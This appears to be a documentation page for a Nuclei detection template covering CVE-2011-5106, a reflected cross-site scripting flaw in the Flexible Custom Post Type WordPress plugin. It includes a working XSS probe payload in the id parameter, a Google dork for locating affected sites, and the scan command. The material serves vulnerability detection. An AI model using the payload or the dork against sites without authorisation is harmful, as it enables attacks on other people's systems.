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WordPress Plugin Flexible Custom Post Type < 0.1.7 - Cross-Site Scripting

ID: CVE-2011-5106

Severity: medium

Author: daffainfo

Tags: cve,cve2011,wordpress,xss,wp-plugin,fractalia

Description

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A cross-site scripting vulnerability in edit-post.php in the Flexible Custom Post Type plugin before 0.1.7 for WordPress allows remote attackers to inject arbitrary web script or HTML via the id parameter.

YAML Source

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id: CVE-2011-5106


info:
  name: WordPress Plugin Flexible Custom Post Type < 0.1.7 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in edit-post.php in the Flexible Custom Post Type plugin before 0.1.7 for WordPress allows remote attackers to inject arbitrary web script or HTML via the id parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update to the latest version of the plugin (version 0.1.8 or higher) which includes a fix for this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2011-5106
    - https://wordpress.org/plugins/flexible-custom-post-type/#developers
    - http://plugins.trac.wordpress.org/changeset?reponame=&new=466252%40flexible-custom-post-type&old=465583%40flexible-custom-post-type
    - http://wordpress.org/extend/plugins/flexible-custom-post-type/changelog/
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/71415
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2011-5106
    cwe-id: CWE-79
    epss-score: 0.00434
    epss-percentile: 0.74554
    cpe: cpe:2.3:a:fractalia:flexible_custom_post_type:0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fractalia
    product: flexible_custom_post_type
    google-query: inurl:"/wp-content/plugins/flexible-custom-post-type/"
  tags: cve,cve2011,wordpress,xss,wp-plugin,fractalia


http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/flexible-custom-post-type/edit-post.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

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This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2011/CVE-2011-5106.yaml"

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